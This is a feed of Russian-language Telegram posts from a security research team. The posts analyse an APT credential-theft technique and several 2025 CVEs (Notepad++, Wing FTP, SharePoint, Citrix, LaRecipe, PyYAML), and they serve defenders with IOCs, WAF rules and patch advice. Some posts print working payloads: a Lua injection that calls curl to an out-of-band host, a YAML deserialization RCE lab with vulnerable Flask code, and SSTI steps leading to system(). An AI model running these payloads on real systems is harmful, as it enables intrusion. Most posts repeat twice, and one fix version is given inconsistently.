Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 2
В прошлом посте мы рассказывали о методе перехвата учетных данных группировки
👀 Злоумышленники применили метод загрузки SSP через вызов
Как хакеры скрывали активность?
😬 Подменой журнала Windows Defender:
Строка
Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).
❗️ Последний пункт может помочь определить примерную дату подмены по первому событию в логе.
😬 Мимикрией при сохранении учетных данных
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
Этот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.
В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.
Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.
Original dll-name: TESTSSP.dll
Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️
В прошлом посте мы рассказывали о методе перехвата учетных данных группировки
Erudite Mogwai (aka Space Pirates). Тогда вы угадывали, какой способ они использовали. Сегодня — правильный ответ!AddSecurityPackage. Этот способ оставляет меньше артефактов на атакуемой системе и помогает проще скрыться.Как хакеры скрывали активность?
C:\Windows\Temp\MpCmdRun.logСтрока
SSSPotless из ITW-образца указывает, что злоумышленники использовали исходный код модифицированной mimilib.dll из статьи на портале Red Team Notes (скриншот 1).Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
C:\Windows\System32\NOISE.DATЭтот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.
В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.
Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.
Original dll-name: TESTSSP.dll
fab60386c473d58cb0772a49e2737ae5
6bd3a19b87648d368b5b2286f5018d7342bfe060
aea34cadab9a0d5774c9132251a301c8856047b0db481f0b2e53d5d30a407ff0
Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤33👍9🔥2😁2👾1
В последних версиях Notepad ++ обнаружена уязвимость CVE-2025-49144, которая может позволить злоумышленникам повысить привилегии до SYSTEM.
Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).
👍 Что происходит
Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:
1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.
NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.
2. rundll32.exe вызывается только при переустановке Notepad ++ на систему
Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.
Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:
1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения
Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.
Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.
👍 Как проверить, исправлена ли уязвимость
В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW
В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь
Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)
Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).
Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:
1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.
regsvr32 /s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"
NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.
2. rundll32.exe вызывается только при переустановке Notepad ++ на систему
rundll32.exe "C:\Program Files\Notepad++\contextmenu\NppShell.dll",CleanupDll
Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.
Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:
1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения
Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.
Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.
В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW
В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь
Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍12❤9🤔4⚡2👾2
Десятибалльная уязвимость CVE-2025-47812 в Wing FTP Server: что важно знать
CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.
Метрики
Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.
Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.
В результате — удаленное выполнение кода.
Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.
О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку
Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на
В параметре username отправляется
2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).
Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.
Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки
Настоятельно рекомендуем обновиться на версию от 7.4.4.
CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.
Метрики
Base Score : 10 Critical
CWE: CWE-158
Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.
Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.
В результате — удаленное выполнение кода.
Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.
О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку
loginok.html. Однако, как мы уже писали, уязвима и панель авторизации администратора на admin_loginok.html./loginok.html — вход для пользователей./admin_loginok.html — вход для администратора.Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на
/admin_loginok.html с телом (скриншот 1):username=admin%00]];os.execute("curl+https://yzvsXXX.oast.fun")%0d--&password=admin1234&username_val=admin&password_val=admin1234В параметре username отправляется
Curl, на внешний сервер, через os.execute.2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).
Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.
Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки
/loginok.html и /admin_loginok.html с телом сообщения, которое содержит нулевой бай. Например, через подобное регулярное выражение: (%00|\x00).*?[:=\.-]+
Настоятельно рекомендуем обновиться на версию от 7.4.4.
🔥14❤11🫡5⚡1
Как и зачем анализировать ссылки на Discord при расследовании?
Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:
Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:
channel_id ->
attachment_id ->
Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:
Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.
В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.
Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.
Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:
Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров
Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:
https://cdn.discordapp.com/attachments/1385333150288183437/1385334815095787740/attachment.rar?ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&
Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:
https://cdn.discordapp.com/
attachments/<channel_id>/<attachment_id>/attachment.rar
channel_id ->
1385333150288183437attachment_id ->
1385334815095787740.Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:
Discord использует формат Snowflake, разработанный в X (ранее Twitter), для уникальных идентификаторов.
Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.
В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.
Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.
Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:
ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&
is — дата создания ссылки в hex (время в формате unix epoch).ex — время истечения действия ссылки в hex.hm — уникальная подпись, валидная до конца срока действия.Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров
is и ex).🔥9❤7👍3🤯1👾1
Как и кого атаковали хакеры в 1 полугодии 2025? Расскажем на этой неделе.
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.
В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».
На вебинаре ребята расскажут:
🫡 Как изменился ландшафт целевых атак в первые 6 месяцев 2025 года;
🫡 Какие отрасли подверглись атакам, и кто атакует: цели, уровни сложности атак;
🫡 Какие техники и тактики использовали киберпреступники — разбор реальных кейсов.
Регистрация открыта!
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.
В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».
На вебинаре ребята расскажут:
Регистрация открыта!
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡6❤5👍5🤬1👾1
Как защититься от ToolShell — критические zero-day уязвимости в SharePoint
Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.
Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.
У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!
Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.
👍 Рекомендации:
1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).
2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subnoscription Edition (KB5002768).
3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).
👍 Как обнаружить эксплуатацию CVE-2025-53770? Что стоит проверить?
— наличие файла
В волнах атак он располагался по путям (отличаются каталогами 15 и 16):
С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.
— наличие файла
— логи IIS на наличие:
POST-запросов на
GET-запросов на
Других GET-запросов на подозрительные aspx-файлы.
👍 Для детектирования атак/сканирования на IDS/WAF можно написать правило, которое блокирует POST запросы на URI
Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.
Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.
У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!
Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.
1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).
2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subnoscription Edition (KB5002768).
3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).
— наличие файла
spinstall0.aspx.В волнах атак он располагался по путям (отличаются каталогами 15 и 16):
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx
С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.
— наличие файла
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js.— логи IIS на наличие:
POST-запросов на
/_layouts/15/ToolPane.aspx?DisplayMode=Edit c Referrer /_layouts/SignOut.aspx;GET-запросов на
/_layouts/15/spinstall0.aspx;Других GET-запросов на подозрительные aspx-файлы.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit c заголовком Referrer /_layouts/SignOut.aspx.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍8😱4🤬2🤡1👾1
Критическая уязвимость в Citrix NetScaler ADC and Gateway CVE-2025-5777 😳
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
🫡 Метрики
🫡 Суть уязвимости
— Уязвимость возникает, когда отправляют POST-запрос c параметром
— В ответе сервера в XML-элементе
— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
🫡 Как работает эксплуатация
— Отправляется специально сконструированный POST-запрос на эндпоинт
— В параметрКак раз такая атака на скриншоте.
Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости😳
🫡 Как защититься
На WAF можно написать правило, которое блокирует
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
login. Уязвимость затрагивает NetScaler ADC и Gateway в версиях до выхода следующих патчей: 14.1 до 14.1-43.56, 13.1 до 13.1-58.32. В том числе вариации FIPS и NDcPP для версий 13.1 и 12.1.Base core: 9,3
CWE:
CWE-908
CWE-457
CWE-125
— Уязвимость возникает, когда отправляют POST-запрос c параметром
login, но без знака равенства и значения.— В ответе сервера в XML-элементе
<InitialValue> возвращается фрагмент содержимого неинициализированной памяти процесса.— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
— Отправляется специально сконструированный POST-запрос на эндпоинт
/p/u/doAuthentication.do без необходимости аутентификации.— В параметр
login передаётся строка без знака равенства и значения, login может передаваться в разном регистре, например, Login. Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости
Nuclei. Самый свежий эксплойт опубликован четыре дня назад. Настоятельно рекомендуем обновиться На WAF можно написать правило, которое блокирует
POST-запросы на URI /p/u/doAuthentication.do c Body, состоящим только из параметра login в разных регистрах.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍5🤔4❤2👾2🤬1🤩1
Proxy Trickster: эксплуатирует инфраструктуру круглосуточно и глобально 👀
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
🫡 необычные техники уклонения от обнаружения и скрытности;
🫡 построение целой архитектуры в виде скриптов и других приемов автоматизации;
🫡 следы использования утилиты gs-netcat и глобальный характер атаки: мы обнаружили свидетельства взлома нескольких сотен инфраструктур по всему миру.
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
За срочными новостями о ToolShell забыли рассказать вам о новой группировке, которую мы обнаружили в одном из наших расследований. Исправляемся!
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥6🤔6👍2👾2⚡1😁1🤬1
SSTI на примере CVE-2025-53833
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться💣
LaRecipe — это открытый PHP-пакет, чтобы создавать документы в формате сайта. Его обычно используют для технической документации к проектам на Laravel, которые превращают Markdown-файлы в удобный веб-интерфейс с навигацией и поиском.
😬 Кратко о SSTI:
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
Если конкретнее, он формирует дополнительные ссылки на документы. Например:
👁 Пользователь ввел:
👁 Сервер вернул HTML :
😬 Суть уязвимости CVE-2025-53833:
При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Участок кода HasBladeParser.php(25):
Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
Данная ошибка показывает, что компиляция происходит в функции
💡 Важное уточнение: полезная нагрузка может передаваться не только в качестве параметра, но и в качестве его значения. Если полезную нагрузку ввести в качестве пути, сервер вернет 404.
😬 Ка защититься:
На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
• в значениях переменных также содержится
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться
LaRecipe — это
Метрики
Base Core: 10
CWE: CWE-1336
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
PHP-код ⮕ подставляет полученный результат в HTML разметку. Если конкретнее, он формирует дополнительные ссылки на документы. Например:
http:/target/?test=test <a href="/user-manual/1.0?test=test#introduction">Introduction</a>При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Error: Undefined constant "test" in …/larecipe/src/Traits/HasBladeParser.php(25) : eval()'d code:4
Участок кода HasBladeParser.php(25):
try {
eval('?'.'>'.$content);
}Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
http:/target/?{{$test=’LOL’}} — ошибки не будет, мы получит верно сгенерированный HTML. Важно, что в качестве параметра URL HTML блока, будет находится значение, которое определено нашей переменной — LOL. <a href="/user-manual/1.0?lol#introduction">Introduction</a>
Данная ошибка показывает, что компиляция происходит в функции
eval() и значения на сервере никак не валидируются. Значит, мы можем вызвать уже определенную функцию system() и выполнить RCE. Пример — на скриншоте. На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
{{.*?}};• в значениях переменных также содержится
{{.*?}}. Чтобы избежать ложных сработок, например на json, включите в этот блок различные PHP-функции и операторы {{.*?(system|shell|exec|shell_exec|...|phpinfo\(\)...).*?}}.Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥7👌4🤔3⚡1🤬1
Десериализация ненадежных данных
👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (
В библиотеке
😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.
😬 Метрики
😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
Внутри этой строки вызывается
В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
😬 Как защищаться
1) Обновите
2) Для более старых
3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
RCE).В библиотеке
PyYAML существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load(). Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load() в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.Base Score: 9,9
CWE: CWE-502
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
result = ""
if request.method == "POST":
file = request.files.get("file")
if file:
try:
data = yaml.load(file.read(), Loader=yaml.FullLoader)
result = f"Загружено: {data}"
except Exception as e:
result = f"Ошибка: {e}"
return render_template_string(HTML, result=result)
if __name__ == "__main__":
app.run(debug=True)
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"
type(...) динамически создаёт новый класс zz() создаёт экземпляр этого классаobj.extend(...) вызывает exec(...), передавая туда строкуВнутри этой строки вызывается
os.system("<RCE>")В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
1) Обновите
PyYAML.2) Для более старых
PyYAML используйте yaml.safe_load().3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤12👌4🤯3👏2⚡1😁1🤬1👾1
CFP: Подавайтесь на SOC Forum 2025! ✅
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
😬 Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
😬 Defense: актуальные технологии защиты, обнаружение и реагирование на угрозы, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
😬 Архитектура ИТ и ИБ: построение безопасных систем.
😬 SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
⏰ Доклады принимаются по 14 сентября включительно.
Стать спикером
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
Стать спикером
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥7👍4🥰1
Gorilla: взлет и падение нового банковского трояна
Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.
Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.
В статье мы:
😬 разбираем архитектуру Gorilla Panel, написанную на Django (и почему DEBUG стал слабым местом);
😬 анализируем сетевую инфраструктуру и эндпоинты;
😬 рассказываем, как троян «ушёл со сцены» (так же быстро, как появился).
Читать в блоге
Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.
Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.
В статье мы:
Читать в блоге
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤5👾4👎2
Увидимся на OffZone 2025!
Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.
🫡 Экскурсия в командный центр Shedding Zmiy
